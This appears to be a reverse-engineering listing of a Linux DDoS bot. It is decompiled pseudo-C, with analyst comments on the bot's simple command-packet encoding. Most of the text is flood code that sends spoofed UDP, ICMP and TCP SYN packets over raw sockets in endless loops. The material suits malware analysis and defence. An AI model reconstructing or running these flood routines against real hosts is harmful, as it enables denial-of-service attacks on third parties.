	/* unknown */ void  Vfffffdd8;
	/* unknown */ void  Vfffffdda;
	/* unknown */ void  Vfffffddc;
	/* unknown */ void  Vfffffde8;
	/* unknown */ void  Vffffffdc;



    Vfffff9ac = A8;
    Vfffff9a8 = Ac;
    Vfffff9a4 = A10;
    Vfffff9a0 = A14;
    Vfffff99c = A18;
    Vfffff998 = A1c;
    Vfffff994 = A20;
    Vfffff990 = A24;
    edi = & Vffffffdc;
    esi = 0x8067698;
    asm("cld");
    ecx = 9;
    asm("rep movsd");
    edi = & Vfffffde8;
    esi = 0x80676bc;
    asm("cld");
    ecx = 125;
    asm("rep movsd");
    edi = & Vfffff9d8;
    Vfffff988 = & Vfffff9ec;
    Vfffff984 = & Vfffff9f4;
    Vfffffdd8 = 2;
    Vfffffdda = 0;
    if(A34 == 0) {
        sprintf( & Vfffff9b8, "%d.%d.%d.%d", Vfffff9ac & 255, Vfffff9a8 & 255, Vfffff9a4 & 255, Vfffff9a0 & 255);
    }
    if(A28 != 0) {
        A28 = A28 - 1;
    }
    eax = socket(PF_INET, SOCK_RAW, 0xff);
    Vfffff98c = eax;
    if(Vfffff98c > 0) {
        Vfffff980 = 0;
        Vfffff97c = 0;
        L08057764(edi, 0, 1024);
        while(1) {
            esi = 0;
            if(A34 != 0 && Vfffff97c <= 0) {
                edx = L0804BF80(A38);
                if(edx != 0) {
L080496cc:
                    L08056480( *( *(edx + 16)), & Vfffff9b4, 4);
                    eax = Vfffff9b4;
                    *(edi + 16) = eax;
                    Vfffffddc = *(edi + 16);
                    Vfffff97c = 40000;
                } else {
                    L080556CC(600);
                    esi = 1;
                }
            }
            if(esi != 0) {
                continue;
            }
            esi = 0;
            Vfffff978 = ebp;
            do {
                if(A34 == 0) {
                    Vfffffddc = L0804CE8C( & Vfffff9b8);
                }
                L0805652C(Vfffff984, Vfffff978 + -536, *(ebp + esi * 4 - 36));
                L08055E38();
                ebx = 255;
                asm("cdq");
                edx = ebx / ebx % ebx / ebx;
                *Vfffff984 = dl;
                L08055E38();
                ebx = 255;
                asm("cdq");
                edx = ebx / ebx % ebx / ebx;
                *(Vfffff984 + 1) = dl;
                if(A2c != 0 || A30 != 0) {
                    ax = (A2c << 8) + A30;
                } else {
                    L08055E38();
                    ebx = 30000;
                    asm("cdq");
                    eax = ebx / ebx % ebx / ebx;
                }
                asm("xchg al,ah");
                *Vfffff988 = ax;
                ebx = Vfffff988;
                *(ebx + 2) = 13568;
                ax = *(ebp + esi * 4 - 36) + 8;
                asm("xchg al,ah");
                *(ebx + 4) = ax;
                *(ebx + 6) = 0;
                if(Vfffff99c != 0 || Vfffff998 != 0 || Vfffff994 != 0 || Vfffff990 != 0) {
                    Vfffff9e4 = Vfffff99c;
                    Vfffff9e5 = Vfffff998;
                    Vfffff9e6 = Vfffff994;
                    Vfffff9e7 = Vfffff990;
                } else {
                    L08055E38();
                    dl = al;
                    dl :: 255;
                    asm("setnc al");
                    Vfffff9e4 = dl + al;
                    L08055E38();
                    dl = al;
                    dl :: 255;
                    asm("setnc al");
                    Vfffff9e5 = dl + al;
                    L08055E38();
                    dl = al;
                    dl :: 255;
                    asm("setnc al");
                    Vfffff9e6 = dl + al;
                    L08055E38();
                    dl = al;
                    dl :: 255;
                    asm("setnc al");
                    Vfffff9e7 = dl + al;
                }
                if(A34 == 0) {
                    Vfffff9e8 = Vfffff9ac;
                    Vfffff9e9 = Vfffff9a8;
                    Vfffff9ea = Vfffff9a4;
                    Vfffff9eb = Vfffff9a0;
                }
                *edi = 69;
                L08055E38();
                ebx = 130;
                asm("cdq");
                *(edi + 8) = ebx / ebx % ebx / ebx + 120;
                L08055E38();
                ebx = 255;
                asm("cdq");
                *(edi + 4) = ebx / ebx % ebx / ebx;
                *(edi + 9) = 17;
                *(edi + 6) = 0;
                ax = *(ebp + esi * 4 - 36) + 28;
                asm("xchg al,ah");
                *(edi + 2) = ax;
                *(edi + 10) = 0;
                edx = 20;
                Vfffff974 = & Vfffff9d8;
                ecx = 0;
                Vfffff9b2 = 0;
                do {
                    ebx = Vfffff974;
                    ecx = ecx + ( *ebx & 65535);
                    ebx = ebx + 2;
                    Vfffff974 = ebx;
                    edx = edx + -2;
                } while(edx > 1);
                != ? 0x8049933 : ;
                Vfffff9b2 = *ebx;
                ecx = ecx + (Vfffff9b2 & 65535);
                edx = ecx >> 16;
                ecx = (cx & 65535) + edx;
                ax = !(ecx + (ecx >> 16));
                Vfffff9b2 = ax;
                *(edi + 10) = Vfffff9b2;
                sendto(Vfffff98c, & Vfffff9d8, *(ebp + esi * 4 - 36) + 28, 0, & Vfffffdd8, 16);
                if(A28 != 0) {
                    if(Vfffff980 != A28) {
                        Vfffff980 = Vfffff980 + 1;
                        goto L080499c2;
                    }
                    sleep?(300);
                    Vfffff980 = 0;
                } else {
                    (save)300;
                    sleep?();
                }
                Vfffff97c = Vfffff97c - 1;
L080499c2:
                Vfffff978 = Vfffff978 + 50;
                esi = esi + 1;
            } while(esi <= 8);
        }
        goto L080496cc;
    }
    *L0807E774 = 0;
    esp = ebp + -1688;
    return(0);
}

/*	Procedure: 0x080499F1 - 0x080499F3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080499F1()
{



}

/*	Procedure: 0x080499F4 - 0x08049D3C
 *	Argument size: 48
 *	Local size: 160
 *	Save regs size: 12
 */

L080499F4(A8, Ac, A10, A14, A18, A1c, A20, A24, A28, A2c, A30, A34)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
/* unknown */ void  A20;
/* unknown */ void  A24;
/* unknown */ void  A28;
/* unknown */ void  A2c;
/* unknown */ void  A30;
/* unknown */ void  A34;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffff60;
	/* unknown */ void  Vffffff64;
	/* unknown */ void  Vffffff68;
	/* unknown */ void  Vffffff6c;
	/* unknown */ void  Vffffff70;
	/* unknown */ void  Vffffff74;
	/* unknown */ void  Vffffff78;
	/* unknown */ void  Vffffff7c;
	/* unknown */ void  Vffffff80;
	/* unknown */ void  Vffffff84;
	/* unknown */ void  Vffffff88;
	/* unknown */ void  Vffffff8e;
	/* unknown */ void  Vffffff90;
	/* unknown */ void  Vffffffb0;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vffffffd2;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffd6;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffd9;
	/* unknown */ void  Vffffffda;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe5;
	/* unknown */ void  Vffffffe6;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffea;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff2;
	/* unknown */ void  Vfffffff4;



    Vffffff84 = A10;
    Vffffff80 = A14;
    Vffffff7c = A18;
    Vffffff78 = A1c;
    Vffffff74 = A20;
    Vffffff70 = A24;
    Vffffff6c = A28;
    Vfffffff0 = 2;
    L08055E38();
    ecx = 255;
    asm("cdq");
    eax = ecx / ecx % ecx / ecx;
    asm("xchg al,ah");
    Vfffffff2 = ax;
    esi = & Vffffff90;
    sprintf(esi, "%d.%d.%d.%d", Vffffff74 & 255, Vffffff70 & 255, Vffffff6c & 255, A2c & 255);
    if(A30 == 0) {
        ebx = & Vffffffb0;
        sprintf();
        Vfffffff4 = L0804CE8C(ebx, ebx, "%d.%d.%d.%d", Vffffff84 & 255, Vffffff80 & 255, Vffffff7c & 255, Vffffff78 & 255);
    }
    eax = socket(PF_INET, SOCK_RAW, 0xff);
    Vffffff68 = eax;
    if(Vffffff68 > 0) {
        Vffffffd0 = 69;
        Vffffffd2 = 7208;
        Vffffffd4 = 21764;
        L08055E38();
        ecx = 130;
        asm("cdq");
        Vffffffd8 = ecx / ecx % ecx / ecx + 120;
        Vffffffdc = L0804CE8C(esi);
        if(A30 == 0) {
            Vffffffe0 = L0804CE8C( & Vffffffb0);
        }
        Vffffffd6 = 65055;
        Vffffffda = 0;
        if(A8 != 0) {
            Vffffffd9 = 17;
            L08055E38();
            ecx = 255;
            asm("cdq");
            eax = ecx / ecx % ecx / ecx;
            asm("xchg al,ah");
            Vffffffe4 = ax;
            ax = Ac;
            asm("xchg al,ah");
            Vffffffe6 = ax;
            Vffffffe8 = 2304;
            edx = 9;
            esi = & Vffffffe4;
            ebx = 0;
            Vffffff8e = 0;
            do {
                ebx = ebx + ( *esi & 65535);
                esi = esi + 2;
                edx = edx + -2;
            } while(edx > 1);
            != ? 0x8049b89 : ;
            Vffffff8e = *esi;
            ebx = ebx + (Vffffff8e & 65535);
            edx = ebx >> 16;
            ebx = (bx & 65535) + edx;
            ebx = ebx + (ebx >> 16);
            ax = !ebx;
            Vffffff8e = ax;
            Vffffffea = Vffffff8e;
            Vffffffec = 97;
        } else {
            Vffffffd9 = 1;
            Vffffffe4 = 8;
            Vffffffe5 = 0;
            Vffffffe6 = 0;
            edx = 9;
            esi = & Vffffffe4;
            ebx = 0;
            Vffffff8e = 0;
            do {
                ebx = ebx + ( *esi & 65535);
                esi = esi + 2;
                edx = edx + -2;
            } while(edx > 1);
            != ? 0x8049bf1 : ;
            Vffffff8e = *esi;
            ebx = ebx + (Vffffff8e & 65535);
            edx = ebx >> 16;
            ebx = (bx & 65535) + edx;
            ebx = ebx + (ebx >> 16);
            ax = !ebx;
            Vffffff8e = ax;
            Vffffffe6 = Vffffff8e;
        }
        Vffffff64 = 29;
        edx = 20;
        esi = & Vffffffd0;
        ebx = 0;
        Vffffff8e = 0;
        do {
            ebx = ebx + ( *esi & 65535);
            esi = esi + 2;
            edx = edx + -2;
        } while(edx > 1);
        != ? 0x8049c49 : ;
        Vffffff8e = *esi;
        ebx = ebx + (Vffffff8e & 65535);
        edx = ebx >> 16;
        Vffffff8e = !(ebx + ((bx & 65535) + edx >> 16));
        Vffffffda = Vffffff8e;
        ebx = 0;
        Vffffff60 = & Vfffffff0;
        for(edi = & Vffffffd0; 1; ebx = ebx - 1) {
            esi = 0;
            if(A30 != 0 && ebx <= 0) {
                edx = L0804BF80(A34);
                if(edx != 0) {
L08049cac:
                    L08056480( *( *(edx + 16)), & Vffffff88, 4);
                    eax = Vffffff88;
                    Vffffffe0 = eax;
                    Vfffffff4 = Vffffffe0;
                    ebx = 40000;
                } else {
                    L080556CC(600);
                    esi = 1;
                }
            }
            if(esi == 0) {
                sendto();
                sendto(Vffffff68, edi, Vffffff64, 0, Vffffff60, 16, Vffffff68, edi, Vffffff64, 0, Vffffff60, 16);
                sleep?(20);
            }
        }
        goto L08049cac;
    }
    *L0807E774 = 0;
    esp = ebp + -172;
    return(0);
}

/*	Procedure: 0x08049D3D - 0x08049D3F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08049D3D()
{



}

/*	Procedure: 0x08049D40 - 0x0804A190
 *	Argument size: 56
 *	Local size: 204
 *	Save regs size: 12
 */

L08049D40(A8, Ac, A10, A14, A18, A1c, A20, A24, A28, A2c, A30, A34, A38, A3c)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
/* unknown */ void  A20;
/* unknown */ void  A24;
/* unknown */ void  A28;
/* unknown */ void  A2c;
/* unknown */ void  A30;
/* unknown */ void  A34;
/* unknown */ void  A38;
/* unknown */ void  A3c;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffff34;
	/* unknown */ void  Vffffff38;
	/* unknown */ void  Vffffff3c;
	/* unknown */ void  Vffffff40;
	/* unknown */ void  Vffffff44;
	/* unknown */ void  Vffffff48;
	/* unknown */ void  Vffffff4c;
	/* unknown */ void  Vffffff50;
	/* unknown */ void  Vffffff54;
	/* unknown */ void  Vffffff58;
	/* unknown */ void  Vffffff5c;
	/* unknown */ void  Vffffff62;
	/* unknown */ void  Vffffff64;
	/* unknown */ void  Vffffff68;
	/* unknown */ void  Vffffff88;
	/* unknown */ void  Vffffffa8;
	/* unknown */ void  Vffffffac;
	/* unknown */ void  Vffffffb0;
	/* unknown */ void  Vffffffb1;
	/* unknown */ void  Vffffffb2;
	/* unknown */ void  Vffffffb4;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffc9;
	/* unknown */ void  Vffffffca;
	/* unknown */ void  Vffffffcc;
	/* unknown */ void  Vffffffce;
	/* unknown */ void  Vffffffd0;
	/* unknown */ void  Vffffffd1;
	/* unknown */ void  Vffffffd2;
	/* unknown */ void  Vffffffd4;
	/* unknown */ void  Vffffffd8;
	/* unknown */ void  Vffffffdc;
	/* unknown */ void  Vffffffde;
	/* unknown */ void  Vffffffe0;
	/* unknown */ void  Vffffffe4;
	/* unknown */ void  Vffffffe8;
	/* unknown */ void  Vffffffe9;
	/* unknown */ void  Vffffffea;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vffffffee;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff2;
	/* unknown */ void  Vfffffff4;



    Vffffff5c = A8;
    Vffffff58 = Ac;
    Vffffff54 = A10;
    Vffffff38 = A14;
    Vffffff50 = A24;
    Vffffff4c = A28;
    Vffffff48 = A2c;
    Vffffff44 = A30;
    if(A34 != 0) {
        A34 = A34 - 1;
    }
    L080559A0(time(0));
    Vfffffff0 = 2;
    L08055E38();
    ebx = 255;
    asm("cdq");
    eax = ebx / ebx % ebx / ebx;
    asm("xchg al,ah");
    Vfffffff2 = ax;
    if(A38 == 0) {
        ebx = & Vffffff88;
        sprintf();
        Vfffffff4 = L0804CE8C(ebx, ebx, "%d.%d.%d.%d", Vffffff5c & 255, Vffffff58 & 255, Vffffff54 & 255, Vffffff38 & 255);
    }
    Vffffffc8 = 69;
    Vffffffca = 10240;
    Vffffffc9 = 0;
    eax = socket(PF_INET, SOCK_RAW, 0xff);
    Vffffff40 = eax;
    if(Vffffff40 > 0) {
        if(A20 != 0) {
            sprintf( & Vffffff68, "%d.%d.%d.%d", Vffffff50 & 255, Vffffff4c & 255, Vffffff48 & 255, Vffffff44 & 255);
        }
        if(A38 == 0) {
            Vffffffd8 = L0804CE8C( & Vffffff88);
        }
        Vffffffce = 0;
        Vffffffd1 = 6;
        Vffffffe9 = Vffffffe9 & 239;
        al = Vffffffe8 & 15 | 80;
        Vffffffe8 = al;
        Vffffffe4 = 0;
        Vffffffe8 = Vffffffe8 & 80;
        Vffffffe9 = 2;
        Vffffffee = 0;
        ax = (A18 << 8) + A1c;
        asm("xchg al,ah");
        Vffffffde = ax;
        edi = 0;
        Vffffffb0 = 0;
        if(A38 == 0) {
            Vffffffac = Vffffffd8;
        }
        Vffffffb1 = 6;
        Vffffffb2 = 5120;
        esi = 0;
        for(Vffffff3c = & Vffffffa8; 1; esi = esi - 1) {
            Vffffff34 = 0;
            if(A38 != 0 && esi <= 0) {
                edx = L0804BF80(A3c);
                if(edx != 0) {
L08049f30:
                    L08056480( *( *(edx + 16)), & Vffffff64, 4);
                    eax = Vffffff64;
                    Vffffffd8 = eax;
                    Vfffffff4 = eax;
                    Vffffffac = Vfffffff4;
                    esi = 40000;
                } else {
                    L080556CC(600);
                    Vffffff34 = 1;
                }
            }
            if(Vffffff34 != 0) {
                continue;
            }
            L08056058();
            ebx = 3089;
            asm("cdq");
            ah = ebx / ebx % ebx / ebx + 2;
            asm("xchg al,ah");
            Vffffffcc = ax;
            L08056058();
            ebx = 1401;
            asm("cdq");
            ax = ebx / ebx % ebx / ebx + 200;
            asm("xchg al,ah");
            Vffffffea = ax;
            L08056058();
            ebx = 40000;
            asm("cdq");
            ax = ebx / ebx % ebx / ebx + 1;
            asm("xchg al,ah");
            Vffffffdc = ax;
            L08056058();
            ebx = 40000000;
            asm("cdq");
            eax = ebx / ebx % ebx / ebx + 1;
            asm("xchg al,ah");
            asm("ror eax,0x10");
            asm("xchg al,ah");
            Vffffffe0 = eax;
            L08056058();
            ebx = 116;
            asm("cdq");
            Vffffffd0 = ebx / ebx % ebx / ebx + 125;
            if(A20 == 0) {
                L08055E38();
                ebx = 255;
                asm("cdq");
                ebx = ebx / ebx;
                (save)ebx % ebx;
                L08055E38();
                asm("cdq");
                ebx = ebx / ebx;
                (save)ebx % ebx;
                L08055E38();
                asm("cdq");
                ebx = ebx / ebx;
                (save)ebx % ebx;
                L08055E38();
                asm("cdq");
                (save)ebx / ebx % ebx / ebx;
                (save)"%u.%u.%u.%u";
                (save) & Vffffff68;
                sprintf();
                esp = esp + 24;
            }
            (save) & Vffffff68;
            eax = L0804CE8C();
            Vffffffd4 = eax;
            Vffffffa8 = Vffffffd4;
            Vffffffec = 0;
            Vffffffd2 = 0;
            (save)20;
            (save) & Vffffffb4;
            (save) & Vffffffdc;
            L08056480();
            esp = esp + 16;
            edx = 32;
            Vffffff34 = Vffffff3c;
            ecx = 0;
            Vffffff62 = 0;
            do {
                ebx = Vffffff34;
                ecx = ecx + ( *ebx & 65535);
                ebx = ebx + 2;
                Vffffff34 = ebx;
                edx = edx + -2;
            } while(edx > 1);
            != ? 0x804a097 : ;
            Vffffff62 = *ebx;
            ecx = ecx + (Vffffff62 & 65535);
            edx = ecx >> 16;
            Vffffff62 = !(ecx + ((cx & 65535) + edx >> 16));
            Vffffffec = Vffffff62;
            edx = 20;
            Vffffff34 = & Vffffffc8;
            ecx = 0;
            Vffffff62 = 0;
            do {
                ebx = Vffffff34;
                ecx = ecx + ( *ebx & 65535);
                ebx = ebx + 2;
                Vffffff34 = ebx;
                edx = edx + -2;
            } while(edx > 1);
            != ? 0x804a103 : ;
            Vffffff62 = *ebx;
            ecx = ecx + (Vffffff62 & 65535);
            edx = ecx >> 16;
            ecx = (cx & 65535) + edx;
            ax = !(ecx + (ecx >> 16));
            Vffffff62 = ax;
            Vffffffd2 = Vffffff62;
            sendto(Vffffff40, & Vffffffc8, 40, 0, & Vfffffff0, 16);
            if(A34 != 0) {
                if(A34 != edi) {
                    edi = edi + 1;
                    continue;
                }
                sleep?(300);
                edi = 0;
            } else {
                (save)300;
                sleep?();
            }
        }
        goto L08049f30;
    }
    *L0807E774 = 0;
    esp = ebp + -216;
    return(0);
}

/*	Procedure: 0x0804A191 - 0x0804A193
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804A191()
{



}

/*	Procedure: 0x0804A194 - 0x0804A1E6
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

/*  simplified:
	encoded[0] = decoded[0] + 23;
	for (pos = 1; pos < len; pos++) {
	    encoded[pos] = decoded[pos-1] + decoded[pos] + 23;
	}
*/

encode(len, decoded, encoded)
int len;	/* unknown  void  A8; */
char *decoded;	/* unknown  void  Ac; */
char *encoded;	/* unknown  void  A10; */
{



    *encoded = *L080675E5;
    eax = sprintf(encoded, "%c", *decoded + 23);
    ecx = 1;
    if(1 != len) {
        do {
            edx = *(A10 + ecx - 1) & 255;
            eax = edx + ( decoded[ecx] & 255) + 23;
            *(ecx + A10) = al;
            ecx = ecx + 1;
        } while(ecx != len);
    }
}

/*	Procedure: 0x0804A1E7 - 0x0804A1E7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804A1E7()
{



}

/*	Procedure: 0x0804A1E8 - 0x0804A2A4
 *	Argument size: 12
 *	Local size: 4
 *	Save regs size: 12
 */

/* This is a really dumb decryption algorithm.  Basically,
   decoding proceeds from the rear, and each character is
   is based on the one before, as in:
               decoded[pos] = packet[pos] - packet[pos-1] - 23;
   There's no real reason that decoding must proceed from
   the rear (since the packet is decoded to a new buffer),
   so this function could be more reasonably written as:
	    decoded[0] = packet[0] - 23;
	    for (int pos = 1; pos < len; pos++) {
		decoded[pos] = packet[pos] - packet[pos-1] - 23;
	    }
   My guess on why it's written so poorly is that a neophyte
   programmer was just trying to invert their encoding function.
		-thumper!
 */



decode(len, packet, decoded)
/* unknown */ void  A8;
/* unknown */ unsigned char * packet;
/* unknown */ unsigned char * decoded;
{
	/* unknown */ int  pos;
	/* unknown */ void  esi;
	/* unknown */ char  tmpbuf[2048];	/* at (esp) */



    pos = len - 1;		/* set to last byte */
    al = len + 3 & 252;		/* make it 4 byte aligned */
    esp = esp - eax;
    *decoded = *L080675E5;
    if(pos >= 0) {
        do {
            if(pos == 0) {
                data = packet[0];
            } else {
                esi = packet;
                data = packet[pos] - packet[pos-1];
            }
            ecx = data - 23;
	    edx = 0;
	    if (len > 0) {
		/* always done, because len>200 in the caller */
		memcpy(tmpbuf, decoded, len);
            }
            *decoded = cl;		/* cl?  shouldn't this be 'data'? */
            edx = 1;
            if(len > 1) {
		/* always done, because len>200 in the caller */
		memcpy(decoded+1, tmpbuf, len - 1);
            }
            eax = sprintf(decoded, "%c%s", ecx, tmpbuf);
	    /* this sprintf is spurious, because it exactly
		duplicates the work of the last memcpy() */
        } while(pos--);
    }
    esp = ebp - 16;
}

/*	Procedure: 0x0804A2A5 - 0x0804A2A7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804A2A5()
{



}

/*	Procedure: 0x0804A2A8 - 0x0804A48B
 *	Argument size: 12
 *	Local size: 24
 *	Save regs size: 12
 */

setenv(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffec;
	/* unknown */ void  Vfffffff0;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    edi = A8;
    al = 0;
    asm("cld");
    ecx = -1;
    asm("repne scasb");
    Vfffffff8 = !ecx - 1;
    edi = Ac;
    asm("cld");
    ecx = -1;
    asm("repne scasb");
    Vfffffff4 = !ecx - 1;
    Vfffffff0 = 0;
    Vfffffffc = 0;
    ebx = *L0806D228;
    if(*ebx != 0) {
        do {
            esi = *ebx;
            edi = A8;
            ecx = Vfffffff8;
            asm("cld");
            asm("repe cmpsb");
            != ? 0x804a30e : ;
            esi = *ebx;
            if(*(Vfffffff8 + esi) == 61) {
                break;
            }
            Vfffffffc = Vfffffffc + 1;
            ebx = ebx + 4;
        } while(*ebx != 0);
        if(*ebx != 0) {
            goto L0804a408;
        }
    }
    ebx = L0805BD74(Vfffffffc * 4 + 8);
    if(ebx != 0) {
        L0805652C(ebx, *L0806D228, Vfffffffc * 4);
        edx = L0805BD74(Vfffffff8 + Vfffffff4 + 2);
        *(ebx + Vfffffffc * 4) = edx;
        if(*(ebx + Vfffffffc * 4) != 0) {
            goto L0804a390;
        }
        (save)ebx;
        L0805C290();
        *L08078B14 = 12;
    }
L0804a384:
    Vfffffff0 = -1;
    goto L0804a47f;
L0804a390:
    Vffffffec = *(ebx + Vfffffffc * 4);
    L0805652C(Vffffffec, A8, Vfffffff8);
    eax = *(ebx + Vfffffffc * 4);
    esi = Vfffffff8;
    *(esi + eax) = 61;
    Vffffffec = esi + *(ebx + Vfffffffc * 4) + 1;
    L0805652C(Vffffffec, Ac, Vfffffff4 + 1);
    *(ebx + Vfffffffc * 4 + 4) = 0;
    if(*L080784F4 != 0) {
        (save) *L080784F4;
        L0805C290();
    }
    *L080784F4 = ebx;
    *L0806D228 = ebx;
    goto L0804a47f;
L0804a408:
    if(A10 != 0) {
        edi = *ebx;
        al = 0;
        asm("cld");
        ecx = -1;
        asm("repne scasb");
        Vffffffec = !ecx - 1;
        edx = Vfffffff8 + Vfffffff4 + 1;
        if(Vffffffec < edx) {
            edx = L0805BD74(edx + 1);
            if(edx == 0) {
                goto L0804a384;
            }
            *ebx = edx;
        }
        Vffffffec = *ebx;
        L0805652C(Vffffffec, A8, Vfffffff8);
        eax = *ebx;
        esi = Vfffffff8;
        *(esi + eax) = 61;
        esi = esi + *ebx + 1;
        L0805652C(esi, Ac, Vfffffff4 + 1);
    }
L0804a47f:
    esp = ebp - 36;
    return(Vfffffff0);
}

/*	Procedure: 0x0804A48C - 0x0804A4F0
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 12
 */

L0804A48C(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffffc;



    al = 0;
    edi = A8;
    asm("cld");
    ecx = -1;
    asm("repne scasb");
    eax = !ecx - 1;
    Vfffffffc = eax;
    ebx = *L0806D228;
    edx = ebx;
    if(*ebx != 0) {
        do {
            esi = *edx;
            edi = A8;
            ecx = Vfffffffc;
            asm("cld");
            asm("repe cmpsb");
            != ? 0x804a4d2 : ;
            eax = *edx;
            if(*(Vfffffffc + eax) != 61) {
                eax = *edx;
                *ebx = eax;
                ebx = ebx + 4;
            }
            edx = edx + 4;
        } while(*edx != 0);
    }
    *ebx = 0;
    esp = ebp - 16;
}

/*	Procedure: 0x0804A4F1 - 0x0804A4F3
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804A4F1()
{



}

/*	Procedure: 0x0804A4F4 - 0x0804A57D
 *	Argument size: 4
 *	Local size: 8
 *	Save regs size: 12
 */

L0804A4F4(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff8;



    esi = 0;
    if(*L08078520 > 0) {
        do {
            eax = *(esi * 4 + 0x807a348);
            Vfffffff8 = eax;
            edi = Vfffffff8;
            al = 0;
            asm("cld");
            ecx = -1;
            asm("repne scasb");
            ebx = !ecx - 1;
            edi = A8;
            asm("cld");
            ecx = -1;
            asm("repne scasb");
            ecx = !ecx - 1;
            if(ecx > ebx) {
                eax = L080565F8(ecx + A8 - ebx, Vfffffff8);
                if(eax == 0) {
                    edi = A8;
                    al = 0;
                    asm("cld");
                    ecx = -1;
                    asm("repne scasb");
                    edx = !ecx - 1 - ebx;
                    eax = A8;
                    *(edx + eax) = 0;
                }
            }
            esi = esi + 1;
        } while(*L08078520 > esi);
    }
    esp = ebp - 20;
}

/*	Procedure: 0x0804A57E - 0x0804A57F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804A57E()
{



}

/*	Procedure: 0x0804A580 - 0x0804A5C8
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 8
 */

L0804A580(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;



    if(*L08078520 != 0) {
        L0804A4F4( *A8);
        ebx = 0;
        eax = *(A8 + 4);
        if(*eax != 0) {
            do {
                L0804A4F4( *(eax + ebx * 4));
                ebx = ebx + 1;
                eax = *(A8 + 4);
            } while(*(eax + ebx * 4) != 0);
        }
    }
    return(A8);
}

/*	Procedure: 0x0804A5C9 - 0x0804A5CB
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0804A5C9()
{



}

/*	Procedure: 0x0804A5CC - 0x0804A9D5
 *	Argument size: 4
 *	Local size: 360
 *	Save regs size: 12
 */

L0804A5CC(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vfffffe98;
	/* unknown */ void  Vfffffe9c;
	/* unknown */ void  Vfffffea0;
	/* unknown */ void  Vfffffea4;
	/* unknown */ void  Vfffffea8;
	/* unknown */ void  Vfffffeac;
	/* unknown */ void  Vfffffeb0;
	/* unknown */ void  Vfffffeb4;
	/* unknown */ void  Vfffffeb8;
	/* unknown */ void  Vfffffebc;
	/* unknown */ void  Vfffffec0;



    if(*L08078524 != 0 && A8 != 0) {
        if(*L08078524 == -1) {
            eax = socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
            Vfffffeb0 = eax;
            if(eax == -1) {
                goto L0804a9c9;
            }
            Vfffffeb8 = 320;
            Vfffffebc = & Vfffffec0;
            eax = L08057280(Vfffffeb0, 35090, & Vfffffeb8);
            if(eax == -1) {
                goto L0804a9c9;
            }
            Vfffffeac = Vfffffeb8 >> 5;
            *L080793B0 = 0x80792c0;
            A8 = Vfffffebc;
            Vfffffe98 = A8;
            if(Vfffffeac != 0) {
                ebx = A8 + 20;
                eax = Vfffffeac & 1;
                if(Vfffffeac > 0 && eax == 0) {
                    goto L0804a747;
                }
                A8 = Vfffffe98;
                L08056640();
                if(L08057280(Vfffffeb0, 35099, A8, *L080793B0, A8) != -1 && *(ebx - 4) == 2) {
                    esi = *ebx;
                    if(L08057280(Vfffffeb0, 35093, Vfffffe98) != -1 && *(ebx - 4) == 2 && !(edx = *ebx & esi)) {
                        eax = *L080793B0;
                        *(eax + 16) = edx;
                        *(eax + 20) = esi;
                        if(*L08078524 == -1) {
                            *L08078524 = 0;
                        }
                        *L080793B0 = *L080793B0 + 24;
                        *L08078524 = *L08078524 + 1;
                    }
                }
                ebx = ebx + 32;
                Vfffffe98 = Vfffffe98 + 32;
                if(!(Vfffffeac = Vfffffeac - 1)) {
L0804a747:
                    Vfffffea8 = ebx;
                    Vfffffea4 = ebx - 4;
                    Vfffffea0 = ebx;
                    Vfffffe9c = Vfffffea4;
                    do {
                        A8 = Vfffffe98;
                        L08056640();
                        if(L08057280(Vfffffeb0, 35099, A8, *L080793B0, A8) != -1 && *Vfffffe9c == 2) {
                            ebx = *Vfffffea0;
                            if(L08057280(Vfffffeb0, 35093, Vfffffe98) != -1 && *Vfffffea4 == 2 && !(edx = *Vfffffea8 & ebx)) {
                                eax = *L080793B0;
                                *(eax + 16) = edx;
                                *(eax + 20) = ebx;
                                if(*L08078524 == -1) {
